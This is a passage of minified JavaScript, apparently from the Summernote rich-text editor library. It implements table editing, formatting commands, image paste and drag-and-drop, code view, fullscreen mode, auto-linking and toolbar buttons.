Mt(o,Mt.where.Row,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),a=0;a<s.length;a++)if(s[a]){var l=s[a].baseCell,c=s[a].virtualTable,d=l.rowSpan&&l.rowSpan>1,u=d?parseInt(l.rowSpan,10):0;switch(s[a].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.AddCell:var h=n.next("tr")[0];if(!h)continue;var p=n[0].cells[i];d&&(u>2?(u--,h.insertBefore(p,h.cells[i]),h.cells[i].setAttribute("rowSpan",u),h.cells[i].innerHTML=""):2===u&&(h.insertBefore(p,h.cells[i]),h.cells[i].removeAttribute("rowSpan"),h.cells[i].innerHTML=""));continue;case Mt.resultAction.SubtractSpanCount:d&&(u>2?(u--,l.setAttribute("rowSpan",u),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")):2===u&&(l.removeAttribute("rowSpan"),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")));continue;case Mt.resultAction.RemoveCell:continue}}n.remove()},e.prototype.deleteCol=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=new Mt(o,Mt.where.Column,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),s=0;s<r.length;s++)if(r[s])switch(r[s].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.SubtractSpanCount:var a=r[s].baseCell;if(a.colSpan&&a.colSpan>1){var l=a.colSpan?parseInt(a.colSpan,10):0;l>2?(l--,a.setAttribute("colSpan",l),a.cellIndex===i&&(a.innerHTML="")):2===l&&(a.removeAttribute("colSpan"),a.cellIndex===i&&(a.innerHTML=""))}continue;case Mt.resultAction.RemoveCell:Nt.remove(r[s].baseCell,!0);continue}},e.prototype.createTable=function(e,o,n){for(var i,r=[],s=0;s<e;s++)r.push("<td>"+Nt.blank+"</td>");i=r.join("");for(var a,l=[],c=0;c<o;c++)l.push("<tr>"+i+"</tr>");a=l.join("");var d=t("<table>"+a+"</table>");return n&&n.tableClassName&&d.addClass(n.tableClassName),d[0]},e.prototype.deleteTable=function(e){var o=Nt.ancestor(e.commonAncestor(),Nt.isCell);t(o).closest("table").remove()},e}(),jt=function(){function e(e){var o=this;this.context=e,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.editable=this.$editable[0],this.lastRange=null,this.style=new Ft,this.table=new Ut,this.typing=new zt,this.bullet=new Bt,this.history=new Dt(this.$editable),this.context.memo("help.undo",this.lang.help.undo),this.context.memo("help.redo",this.lang.help.redo),this.context.memo("help.tab",this.lang.help.tab),this.context.memo("help.untab",this.lang.help.untab),this.context.memo("help.insertParagraph",this.lang.help.insertParagraph),this.context.memo("help.insertOrderedList",this.lang.help.insertOrderedList),this.context.memo("help.insertUnorderedList",this.lang.help.insertUnorderedList),this.context.memo("help.indent",this.lang.help.indent),this.context.memo("help.outdent",this.lang.help.outdent),this.context.memo("help.formatPara",this.lang.help.formatPara),this.context.memo("help.insertHorizontalRule",this.lang.help.insertHorizontalRule),this.context.memo("help.fontName",this.lang.help.fontName);for(var n=["bold","italic","underline","strikethrough","superscript","subscript","justifyLeft","justifyCenter","justifyRight","justifyFull","formatBlock","removeFormat","backColor"],i=0,r=n.length;i<r;i++)this[n[i]]=function(t){return function(e){o.beforeCommand(),document.execCommand(t,!1,e),o.afterCommand(!0)}}(n[i]),this.context.memo("help."+n[i],this.lang.help[n[i]]);this.fontName=this.wrapCommand(function(t){return o.fontStyling("font-family","'"+t+"'")}),this.fontSize=this.wrapCommand(function(t){return o.fontStyling("font-size",t+"px")});for(i=1;i<=6;i++)this["formatH"+i]=function(t){return function(){o.formatBlock("H"+t)}}(i),this.context.memo("help.formatH"+i,this.lang.help["formatH"+i]);this.insertParagraph=this.wrapCommand(function(){o.typing.insertParagraph(o.editable)}),this.insertOrderedList=this.wrapCommand(function(){o.bullet.insertOrderedList(o.editable)}),this.insertUnorderedList=this.wrapCommand(function(){o.bullet.insertUnorderedList(o.editable)}),this.indent=this.wrapCommand(function(){o.bullet.indent(o.editable)}),this.outdent=this.wrapCommand(function(){o.bullet.outdent(o.editable)}),this.insertNode=this.wrapCommand(function(e){o.isLimited(t(e).text().length)||(o.createRange().insertNode(e),Ht.createFromNodeAfter(e).select())}),this.insertText=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().insertNode(Nt.createText(t));Ht.create(e,Nt.nodeLength(e)).select()}}),this.pasteHTML=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().pasteHTML(t);Ht.createFromNodeAfter(N.last(e)).select()}}),this.formatBlock=this.wrapCommand(function(t,e){var n=o.options.callbacks.onApplyCustomStyle;n?n.call(o,e,o.context,o.onFormatBlock):o.onFormatBlock(t,e)}),this.insertHorizontalRule=this.wrapCommand(function(){var t=o.createRange().insertNode(Nt.create("HR"));t.nextSibling&&Ht.create(t.nextSibling,0).normalize().select()}),this.lineHeight=this.wrapCommand(function(t){o.style.stylePara(o.createRange(),{lineHeight:t})}),this.createLink=this.wrapCommand(function(e){var n=e.url,i=e.text,r=e.isNewWindow,s=e.range||o.createRange(),a=s.toString()!==i;"string"==typeof n&&(n=n.trim()),n=o.options.onCreateLink?o.options.onCreateLink(n):/^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(n)?n:"http://"+n;var l=[];if(a){var c=(s=s.deleteContents()).insertNode(t("<A>"+i+"</A>")[0]);l.push(c)}else l=o.style.styleNodes(s,{nodeName:"A",expandClosestSibling:!0,onlyPartialContains:!0});t.each(l,function(e,o){t(o).attr("href",n),r?t(o).attr("target","_blank"):t(o).removeAttr("target")});var d=Ht.createFromNodeBefore(N.head(l)).getStartPoint(),u=Ht.createFromNodeAfter(N.last(l)).getEndPoint();Ht.create(d.node,d.offset,u.node,u.offset).select()}),this.color=this.wrapCommand(function(t){var e=t.foreColor,o=t.backColor;e&&document.execCommand("foreColor",!1,e),o&&document.execCommand("backColor",!1,o)}),this.foreColor=this.wrapCommand(function(t){document.execCommand("styleWithCSS",!1,!0),document.execCommand("foreColor",!1,t)}),this.insertTable=this.wrapCommand(function(t){var e=t.split("x");o.createRange().deleteContents().insertNode(o.table.createTable(e[0],e[1],o.options))}),this.removeMedia=this.wrapCommand(function(){var e=t(o.restoreTarget()).parent();e.parent("figure").length?e.parent("figure").remove():e=t(o.restoreTarget()).detach(),o.context.triggerEvent("media.delete",e,o.$editable)}),this.floatMe=this.wrapCommand(function(e){var n=t(o.restoreTarget());n.toggleClass("note-float-left","left"===e),n.toggleClass("note-float-right","right"===e),n.css("float",e)}),this.resize=this.wrapCommand(function(e){t(o.restoreTarget()).css({width:100*e+"%",height:""})})}return e.prototype.initialize=function(){var t=this;this.$editable.on("keydown",function(e){if(e.keyCode===At.code.ENTER&&t.context.triggerEvent("enter",e),t.context.triggerEvent("keydown",e),e.isDefaultPrevented()||(t.options.shortcuts?t.handleKeyMap(e):t.preventDefaultEditableShortCuts(e)),t.isLimited(1,e))return!1}).on("keyup",function(e){t.context.triggerEvent("keyup",e)}).on("focus",function(e){t.context.triggerEvent("focus",e)}).on("blur",function(e){t.context.triggerEvent("blur",e)}).on("mousedown",function(e){t.context.triggerEvent("mousedown",e)}).on("mouseup",function(e){t.context.triggerEvent("mouseup",e)}).on("scroll",function(e){t.context.triggerEvent("scroll",e)}).on("paste",function(e){t.context.triggerEvent("paste",e)}),this.$editable.html(Nt.html(this.$note)||Nt.emptyPara),this.$editable.on(z.inputEventName,C.debounce(function(){t.context.triggerEvent("change",t.$editable.html())},100)),this.$editor.on("focusin",function(e){t.context.triggerEvent("focusin",e)}).on("focusout",function(e){t.context.triggerEvent("focusout",e)}),this.options.airMode||(this.options.width&&this.$editor.outerWidth(this.options.width),this.options.height&&this.$editable.outerHeight(this.options.height),this.options.maxHeight&&this.$editable.css("max-height",this.options.maxHeight),this.options.minHeight&&this.$editable.css("min-height",this.options.minHeight)),this.history.recordUndo()},e.prototype.destroy=function(){this.$editable.off()},e.prototype.handleKeyMap=function(t){var e=this.options.keyMap[z.isMac?"mac":"pc"],o=[];t.metaKey&&o.push("CMD"),t.ctrlKey&&!t.altKey&&o.push("CTRL"),t.shiftKey&&o.push("SHIFT");var n=At.nameFromCode[t.keyCode];n&&o.push(n);var i=e[o.join("+")];i?!1!==this.context.invoke(i)&&t.preventDefault():At.isEdit(t.keyCode)&&this.afterCommand()},e.prototype.preventDefaultEditableShortCuts=function(t){(t.ctrlKey||t.metaKey)&&N.contains([66,73,85],t.keyCode)&&t.preventDefault()},e.prototype.isLimited=function(t,e){return t=t||0,(void 0===e||!(At.isMove(e.keyCode)||e.ctrlKey||e.metaKey||N.contains([At.code.BACKSPACE,At.code.DELETE],e.keyCode)))&&(this.options.maxTextLength>0&&this.$editable.text().length+t>=this.options.maxTextLength)},e.prototype.createRange=function(){return this.focus(),Ht.create(this.editable)},e.prototype.saveRange=function(t){this.lastRange=this.createRange(),t&&this.lastRange.collapse().select()},e.prototype.restoreRange=function(){this.lastRange&&(this.lastRange.select(),this.focus())},e.prototype.saveTarget=function(t){this.$editable.data("target",t)},e.prototype.clearTarget=function(){this.$editable.removeData("target")},e.prototype.restoreTarget=function(){return this.$editable.data("target")},e.prototype.currentStyle=function(){var t=Ht.create();return t&&(t=t.normalize()),t?this.style.current(t):this.style.fromNode(this.$editable)},e.prototype.styleFromNode=function(t){return this.style.fromNode(t)},e.prototype.undo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.undo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.redo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.redo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.beforeCommand=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.focus()},e.prototype.afterCommand=function(t){this.normalizeContent(),this.history.recordUndo(),t||this.context.triggerEvent("change",this.$editable.html())},e.prototype.tab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t);else{if(0===this.options.tabSize)return!1;this.isLimited(this.options.tabSize)||(this.beforeCommand(),this.typing.insertTab(t,this.options.tabSize),this.afterCommand())}},e.prototype.untab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t,!0);else if(0===this.options.tabSize)return!1},e.prototype.wrapCommand=function(t){var e=this;return function(){e.beforeCommand(),t.apply(e,arguments),e.afterCommand()}},e.prototype.insertImage=function(e,o){var n,i=this;return(n=e,t.Deferred(function(e){var o=t("<img>");o.one("load",function(){o.off("error abort"),e.resolve(o)}).one("error abort",function(){o.off("load").detach(),e.reject(o)}).css({display:"none"}).appendTo(document.body).attr("src",n)}).promise()).then(function(t){i.beforeCommand(),"function"==typeof o?o(t):("string"==typeof o&&t.attr("data-filename",o),t.css("width",Math.min(i.$editable.width(),t.width()))),t.show(),Ht.create(i.editable).insertNode(t[0]),Ht.createFromNodeAfter(t[0]).select(),i.afterCommand()}).fail(function(t){i.context.triggerEvent("image.upload.error",t)})},e.prototype.insertImages=function(e){var o=this;t.each(e,function(e,n){var i,r=n.name;o.options.maximumImageFileSize&&o.options.maximumImageFileSize<n.size?o.context.triggerEvent("image.upload.error",o.lang.image.maximumFileSizeError):(i=n,t.Deferred(function(e){t.extend(new FileReader,{onload:function(t){var o=t.target.result;e.resolve(o)},onerror:function(t){e.reject(t)}}).readAsDataURL(i)}).promise()).then(function(t){return o.insertImage(t,r)}).fail(function(){o.context.triggerEvent("image.upload.error")})})},e.prototype.insertImagesOrCallback=function(t){this.options.callbacks.onImageUpload?this.context.triggerEvent("image.upload",t):this.insertImages(t)},e.prototype.getSelectedText=function(){var t=this.createRange();return t.isOnAnchor()&&(t=Ht.createFromNode(Nt.ancestor(t.sc,Nt.isAnchor))),t.toString()},e.prototype.onFormatBlock=function(e,o){if(e=z.isMSIE?"<"+e+">":e,document.execCommand("FormatBlock",!1,e),o&&o.length){var n=o[0].className||"";if(n){var i=this.createRange();t([i.sc,i.ec]).closest(e).addClass(n)}}},e.prototype.formatPara=function(){this.formatBlock("P")},e.prototype.fontStyling=function(e,o){var n=this.createRange();if(n){var i=this.style.styleNodes(n);if(t(i).css(e,o),n.isCollapsed()){var r=N.head(i);r&&!Nt.nodeLength(r)&&(r.innerHTML=Nt.ZERO_WIDTH_NBSP_CHAR,Ht.createFromNodeAfter(r.firstChild).select(),this.$editable.data("bogus",r))}}},e.prototype.unlink=function(){var t=this.createRange();if(t.isOnAnchor()){var e=Nt.ancestor(t.sc,Nt.isAnchor);(t=Ht.createFromNode(e)).select(),this.beforeCommand(),document.execCommand("unlink"),this.afterCommand()}},e.prototype.getLinkInfo=function(){var e=this.createRange().expand(Nt.isAnchor),o=t(N.head(e.nodes(Nt.isAnchor))),n={range:e,text:e.toString(),url:o.length?o.attr("href"):""};return o.length&&(n.isNewWindow="_blank"===o.attr("target")),n},e.prototype.addRow=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addRow(e,t),this.afterCommand())},e.prototype.addCol=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addCol(e,t),this.afterCommand())},e.prototype.deleteRow=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteRow(t),this.afterCommand())},e.prototype.deleteCol=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteCol(t),this.afterCommand())},e.prototype.deleteTable=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteTable(t),this.afterCommand())},e.prototype.resizeTo=function(t,e,o){var n;if(o){var i=t.y/t.x,r=e.data("ratio");n={width:r>i?t.x:t.y/r,height:r>i?t.x*r:t.y}}else n={width:t.x,height:t.y};e.css(n)},e.prototype.hasFocus=function(){return this.$editable.is(":focus")},e.prototype.focus=function(){this.hasFocus()||this.$editable.focus()},e.prototype.isEmpty=function(){return Nt.isEmpty(this.$editable[0])||Nt.emptyPara===this.$editable.html()},e.prototype.empty=function(){this.context.invoke("code",Nt.emptyPara)},e.prototype.normalizeContent=function(){this.$editable[0].normalize()},e}(),qt=function(){function t(t){this.context=t,this.$editable=t.layoutInfo.editable}return t.prototype.initialize=function(){this.$editable.on("paste",this.pasteByEvent.bind(this))},t.prototype.pasteByEvent=function(t){var e=t.originalEvent.clipboardData;if(e&&e.items&&e.items.length){var o=N.head(e.items);"file"===o.kind&&-1!==o.type.indexOf("image/")&&this.context.invoke("editor.insertImagesOrCallback",[o.getAsFile()]),this.context.invoke("editor.afterCommand")}},t}(),Kt=function(){function e(e){this.context=e,this.$eventListener=t(document),this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.documentEventHandlers={},this.$dropzone=t(['<div class="note-dropzone">',' <div class="note-dropzone-message"/>',"</div>"].join("")).prependTo(this.$editor)}return e.prototype.initialize=function(){this.options.disableDragAndDrop?(this.documentEventHandlers.onDrop=function(t){t.preventDefault()},this.$eventListener=this.$dropzone,this.$eventListener.on("drop",this.documentEventHandlers.onDrop)):this.attachDragAndDropEvent()},e.prototype.attachDragAndDropEvent=function(){var e=this,o=t(),n=this.$dropzone.find(".note-dropzone-message");this.documentEventHandlers.onDragenter=function(t){var i=e.context.invoke("codeview.isActivated"),r=e.$editor.width()>0&&e.$editor.height()>0;i||o.length||!r||(e.$editor.addClass("dragover"),e.$dropzone.width(e.$editor.width()),e.$dropzone.height(e.$editor.height()),n.text(e.lang.image.dragImageHere)),o=o.add(t.target)},this.documentEventHandlers.onDragleave=function(t){(o=o.not(t.target)).length||e.$editor.removeClass("dragover")},this.documentEventHandlers.onDrop=function(){o=t(),e.$editor.removeClass("dragover")},this.$eventListener.on("dragenter",this.documentEventHandlers.onDragenter).on("dragleave",this.documentEventHandlers.onDragleave).on("drop",this.documentEventHandlers.onDrop),this.$dropzone.on("dragenter",function(){e.$dropzone.addClass("hover"),n.text(e.lang.image.dropImage)}).on("dragleave",function(){e.$dropzone.removeClass("hover"),n.text(e.lang.image.dragImageHere)}),this.$dropzone.on("drop",function(o){var n=o.originalEvent.dataTransfer;o.preventDefault(),n&&n.files&&n.files.length?(e.$editable.focus(),e.context.invoke("editor.insertImagesOrCallback",n.files)):t.each(n.types,function(o,i){var r=n.getData(i);i.toLowerCase().indexOf("text")>-1?e.context.invoke("editor.pasteHTML",r):t(r).each(function(t,o){e.context.invoke("editor.insertNode",o)})})}).on("dragover",!1)},e.prototype.destroy=function(){var t=this;Object.keys(this.documentEventHandlers).forEach(function(e){t.$eventListener.off(e.substr(2).toLowerCase(),t.documentEventHandlers[e])}),this.documentEventHandlers={}},e}();z.hasCodeMirror&&(z.isSupportAmd?require(["codemirror"],function(t){Ot=t}):Ot=window.CodeMirror);var Vt=function(){function t(t){this.context=t,this.$editor=t.layoutInfo.editor,this.$editable=t.layoutInfo.editable,this.$codable=t.layoutInfo.codable,this.options=t.options}return t.prototype.sync=function(){this.isActivated()&&z.hasCodeMirror&&this.$codable.data("cmEditor").save()},t.prototype.isActivated=function(){return this.$editor.hasClass("codeview")},t.prototype.toggle=function(){this.isActivated()?this.deactivate():this.activate(),this.context.triggerEvent("codeview.toggled")},t.prototype.activate=function(){var t=this;if(this.$codable.val(Nt.html(this.$editable,this.options.prettifyHtml)),this.$codable.height(this.$editable.height()),this.context.invoke("toolbar.updateCodeview",!0),this.$editor.addClass("codeview"),this.$codable.focus(),z.hasCodeMirror){var e=Ot.fromTextArea(this.$codable[0],this.options.codemirror);if(this.options.codemirror.tern){var o=new Ot.TernServer(this.options.codemirror.tern);e.ternServer=o,e.on("cursorActivity",function(t){o.updateArgHints(t)})}e.on("blur",function(o){t.context.triggerEvent("blur.codeview",e.getValue(),o)}),e.setSize(null,this.$editable.outerHeight()),this.$codable.data("cmEditor",e)}else this.$codable.on("blur",function(e){t.context.triggerEvent("blur.codeview",t.$codable.val(),e)})},t.prototype.deactivate=function(){if(z.hasCodeMirror){var t=this.$codable.data("cmEditor");this.$codable.val(t.getValue()),t.toTextArea()}var e=Nt.value(this.$codable,this.options.prettifyHtml)||Nt.emptyPara,o=this.$editable.html()!==e;this.$editable.html(e),this.$editable.height(this.options.height?this.$codable.height():"auto"),this.$editor.removeClass("codeview"),o&&this.context.triggerEvent("change",this.$editable.html(),this.$editable),this.$editable.focus(),this.context.invoke("toolbar.updateCodeview",!1)},t.prototype.destroy=function(){this.isActivated()&&this.deactivate()},t}(),Wt=function(){function e(e){this.$document=t(document),this.$statusbar=e.layoutInfo.statusbar,this.$editable=e.layoutInfo.editable,this.options=e.options}return e.prototype.initialize=function(){var t=this;this.options.airMode||this.options.disableResizeEditor?this.destroy():this.$statusbar.on("mousedown",function(e){e.preventDefault(),e.stopPropagation();var o=t.$editable.offset().top-t.$document.scrollTop(),n=function(e){var n=e.clientY-(o+24);n=t.options.minheight>0?Math.max(n,t.options.minheight):n,n=t.options.maxHeight>0?Math.min(n,t.options.maxHeight):n,t.$editable.height(n)};t.$document.on("mousemove",n).one("mouseup",function(){t.$document.off("mousemove",n)})})},e.prototype.destroy=function(){this.$statusbar.off(),this.$statusbar.addClass("locked")},e}(),Gt=function(){function e(e){var o=this;this.context=e,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.$editable=e.layoutInfo.editable,this.$codable=e.layoutInfo.codable,this.$window=t(window),this.$scrollbar=t("html, body"),this.onResize=function(){o.resizeTo({h:o.$window.height()-o.$toolbar.outerHeight()})}}return e.prototype.resizeTo=function(t){this.$editable.css("height",t.h),this.$codable.css("height",t.h),this.$codable.data("cmeditor")&&this.$codable.data("cmeditor").setsize(null,t.h)},e.prototype.toggle=function(){this.$editor.toggleClass("fullscreen"),this.isFullscreen()?(this.$editable.data("orgHeight",this.$editable.css("height")),this.$window.on("resize",this.onResize).trigger("resize"),this.$scrollbar.css("overflow","hidden")):(this.$window.off("resize",this.onResize),this.resizeTo({h:this.$editable.data("orgHeight")}),this.$scrollbar.css("overflow","visible")),this.context.invoke("toolbar.updateFullscreen",this.isFullscreen())},e.prototype.isFullscreen=function(){return this.$editor.hasClass("fullscreen")},e}(),_t=function(){function e(e){var o=this;this.context=e,this.$document=t(document),this.$editingArea=e.layoutInfo.editingArea,this.options=e.options,this.lang=this.options.langInfo,this.events={"summernote.mousedown":function(t,e){o.update(e.target)&&e.preventDefault()},"summernote.keyup summernote.scroll summernote.change summernote.dialog.shown":function(){o.update()},"summernote.disable":function(){o.hide()},"summernote.codeview.toggled":function(){o.update()}}}return e.prototype.initialize=function(){var e=this;this.$handle=t(['<div class="note-handle">','<div class="note-control-selection">','<div class="note-control-selection-bg"></div>','<div class="note-control-holder note-control-nw"></div>','<div class="note-control-holder note-control-ne"></div>','<div class="note-control-holder note-control-sw"></div>','<div class="',this.options.disableResizeImage?"note-control-holder":"note-control-sizing",' note-control-se"></div>',this.options.disableResizeImage?"":'<div class="note-control-selection-info"></div>',"</div>","</div>"].join("")).prependTo(this.$editingArea),this.$handle.on("mousedown",function(t){if(Nt.isControlSizing(t.target)){t.preventDefault(),t.stopPropagation();var o=e.$handle.find(".note-control-selection").data("target"),n=o.offset(),i=e.$document.scrollTop(),r=function(t){e.context.invoke("editor.resizeTo",{x:t.clientX-n.left,y:t.clientY-(n.top-i)},o,!t.shiftKey),e.update(o[0])};e.$document.on("mousemove",r).one("mouseup",function(t){t.preventDefault(),e.$document.off("mousemove",r),e.context.invoke("editor.afterCommand")}),o.data("ratio")||o.data("ratio",o.height()/o.width())}}),this.$handle.on("wheel",function(t){t.preventDefault(),e.update()})},e.prototype.destroy=function(){this.$handle.remove()},e.prototype.update=function(e){if(this.context.isDisabled())return!1;var o=Nt.isImg(e),n=this.$handle.find(".note-control-selection");if(this.context.invoke("imagePopover.update",e),o){var i=t(e),r=i.position(),s={left:r.left+parseInt(i.css("marginLeft"),10),top:r.top+parseInt(i.css("marginTop"),10)},a={w:i.outerWidth(!1),h:i.outerHeight(!1)};n.css({display:"block",left:s.left,top:s.top,width:a.w,height:a.h}).data("target",i);var l=new Image;l.src=i.attr("src");var c=a.w+"x"+a.h+" ("+this.lang.image.original+": "+l.width+"x"+l.height+")";n.find(".note-control-selection-info").text(c),this.context.invoke("editor.saveTarget",e)}else this.hide();return o},e.prototype.hide=function(){this.context.invoke("editor.clearTarget"),this.$handle.children().hide()},e}(),Zt=/^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i,Yt=function(){function e(t){var e=this;this.context=t,this.events={"summernote.keyup":function(t,o){o.isDefaultPrevented()||e.handleKeyup(o)},"summernote.keydown":function(t,o){e.handleKeydown(o)}}}return e.prototype.initialize=function(){this.lastWordRange=null},e.prototype.destroy=function(){this.lastWordRange=null},e.prototype.replace=function(){if(this.lastWordRange){var e=this.lastWordRange.toString(),o=e.match(Zt);if(o&&(o[1]||o[2])){var n=o[1]?e:"http://"+e,i=t("<a />").html(e).attr("href",n)[0];this.lastWordRange.insertNode(i),this.lastWordRange=null,this.context.invoke("editor.focus")}}},e.prototype.handleKeydown=function(t){if(N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)){var e=this.context.invoke("editor.createRange").getWordRange();this.lastWordRange=e}},e.prototype.handleKeyup=function(t){N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)&&this.replace()},e}(),Qt=function(){function t(t){var e=this;this.$note=t.layoutInfo.note,this.events={"summernote.change":function(){e.$note.val(t.invoke("code"))}}}return t.prototype.shouldInitialize=function(){return Nt.isTextarea(this.$note[0])},t}(),Jt=function(){function e(t){var e=this;this.context=t,this.$editingArea=t.layoutInfo.editingArea,this.options=t.options,this.events={"summernote.init summernote.change":function(){e.update()},"summernote.codeview.toggled":function(){e.update()}}}return e.prototype.shouldInitialize=function(){return!!this.options.placeholder},e.prototype.initialize=function(){var e=this;this.$placeholder=t('<div class="note-placeholder">'),this.$placeholder.on("click",function(){e.context.invoke("focus")}).text(this.options.placeholder).prependTo(this.$editingArea),this.update()},e.prototype.destroy=function(){this.$placeholder.remove()},e.prototype.update=function(){var t=!this.context.invoke("codeview.isActivated")&&this.context.invoke("editor.isEmpty");this.$placeholder.toggle(t)},e}(),Xt=function(){function e(e){this.ui=t.summernote.ui,this.context=e,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.lang=this.options.langInfo,this.invertedKeyMap=C.invertObject(this.options.keyMap[z.isMac?"mac":"pc"])}return e.prototype.representShortcut=function(t){var e=this.invertedKeyMap[t];return this.options.shortcuts&&e?(z.isMac&&(e=e.replace("CMD","⌘").replace("SHIFT","⇧"))," ("+(e=e.replace("BACKSLASH","\\").replace("SLASH","/").replace("LEFTBRACKET","[").replace("RIGHTBRACKET","]"))+")"):""},e.prototype.button=function(t){return!this.options.tooltip&&t.tooltip&&delete t.tooltip,t.container=this.options.container,this.ui.button(t)},e.prototype.initialize=function(){this.addToolbarButtons(),this.addImagePopoverButtons(),this.addLinkPopoverButtons(),this.addTablePopoverButtons(),this.fontInstalledMap={}},e.prototype.destroy=function(){delete this.fontInstalledMap},e.prototype.isFontInstalled=function(t){return this.fontInstalledMap.hasOwnProperty(t)||(this.fontInstalledMap[t]=z.isFontInstalled(t)||N.contains(this.options.fontNamesIgnoreCheck,t)),this.fontInstalledMap[t]},e.prototype.isFontDeservedToAdd=function(e){return""!==(e=e.toLowerCase())&&this.isFontInstalled(e)&&-1===t.inArray(e,["sans-serif","serif","monospace","cursive","fantasy"])},e.prototype.addToolbarButtons=function(){var e=this;this.context.memo("button.style",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.magic),e.options),tooltip:e.lang.style.style,data:{toggle:"dropdown"}}),e.ui.dropdown({className:"dropdown-style",items:e.options.styleTags,title:e.lang.style.style,template:function(t){"string"==typeof t&&(t={tag:t,title:e.lang.style.hasOwnProperty(t)?e.lang.style[t]:t});var o=t.tag,n=t.title;return"<"+o+(t.style?' style="'+t.style+'" ':"")+(t.className?' class="'+t.className+'"':"")+">"+n+"</"+o+">"},click:e.context.createInvokeHandler("editor.formatBlock")})]).render()});for(var o=function(t,o){var i=n.options.styleTags[t];n.context.memo("button.style."+i,function(){return e.button({className:"note-btn-style-"+i,contents:'<div data-value="'+i+'">'+i.toUpperCase()+"</div>",tooltip:e.lang.style[i],click:e.context.createInvokeHandler("editor.formatBlock")}).render()})},n=this,i=0,r=this.options.styleTags.length;i<r;i++)o(i);this.context.memo("button.bold",function(){return e.button({className:"note-btn-bold",contents:e.ui.icon(e.options.icons.bold),tooltip:e.lang.font.bold+e.representShortcut("bold"),click:e.context.createInvokeHandlerAndUpdateState("editor.bold")}).render()}),this.context.memo("button.italic",function(){return e.button({className:"note-btn-italic",contents:e.ui.icon(e.options.icons.italic),tooltip:e.lang.font.italic+e.representShortcut("italic"),click:e.context.createInvokeHandlerAndUpdateState("editor.italic")}).render()}),this.context.memo("button.underline",function(){return e.button({className:"note-btn-underline",contents:e.ui.icon(e.options.icons.underline),tooltip:e.lang.font.underline+e.representShortcut("underline"),click:e.context.createInvokeHandlerAndUpdateState("editor.underline")}).render()}),this.context.memo("button.clear",function(){return e.button({contents:e.ui.icon(e.options.icons.eraser),tooltip:e.lang.font.clear+e.representShortcut("removeFormat"),click:e.context.createInvokeHandler("editor.removeFormat")}).render()}),this.context.memo("button.strikethrough",function(){return e.button({className:"note-btn-strikethrough",contents:e.ui.icon(e.options.icons.strikethrough),tooltip:e.lang.font.strikethrough+e.representShortcut("strikethrough"),click:e.context.createInvokeHandlerAndUpdateState("editor.strikethrough")}).render()}),this.context.memo("button.superscript",function(){return e.button({className:"note-btn-superscript",contents:e.ui.icon(e.options.icons.superscript),tooltip:e.lang.font.superscript,click:e.context.createInvokeHandlerAndUpdateState("editor.superscript")}).render()}),this.context.memo("button.subscript",function(){return e.button({className:"note-btn-subscript",contents:e.ui.icon(e.options.icons.subscript),tooltip:e.lang.font.subscript,click:e.context.createInvokeHandlerAndUpdateState("editor.subscript")}).render()}),this.context.memo("button.fontname",function(){var o=e.context.invoke("editor.currentStyle");return t.each(o["font-family"].split(","),function(o,n){n=n.trim().replace(/['"]+/g,""),e.isFontDeservedToAdd(n)&&-1===t.inArray(n,e.options.fontNames)&&e.options.fontNames.push(n)}),e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontname"/>',e.options),tooltip:e.lang.font.name,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontname",checkClassName:e.options.icons.menuCheck,items:e.options.fontNames.filter(e.isFontInstalled.bind(e)),title:e.lang.font.name,template:function(t){return"<span style=\"font-family: '"+t+"'\">"+t+"</span>"},click:e.context.createInvokeHandlerAndUpdateState("editor.fontName")})]).render()}),this.context.memo("button.fontsize",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontsize"/>',e.options),tooltip:e.lang.font.size,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontsize",checkClassName:e.options.icons.menuCheck,items:e.options.fontSizes,title:e.lang.font.size,click:e.context.createInvokeHandlerAndUpdateState("editor.fontSize")})]).render()}),this.context.memo("button.color",function(){return e.ui.buttonGroup({className:"note-color",children:[e.button({className:"note-current-color-button",contents:e.ui.icon(e.options.icons.font+" note-recent-color"),tooltip:e.lang.color.recent,click:function(o){var 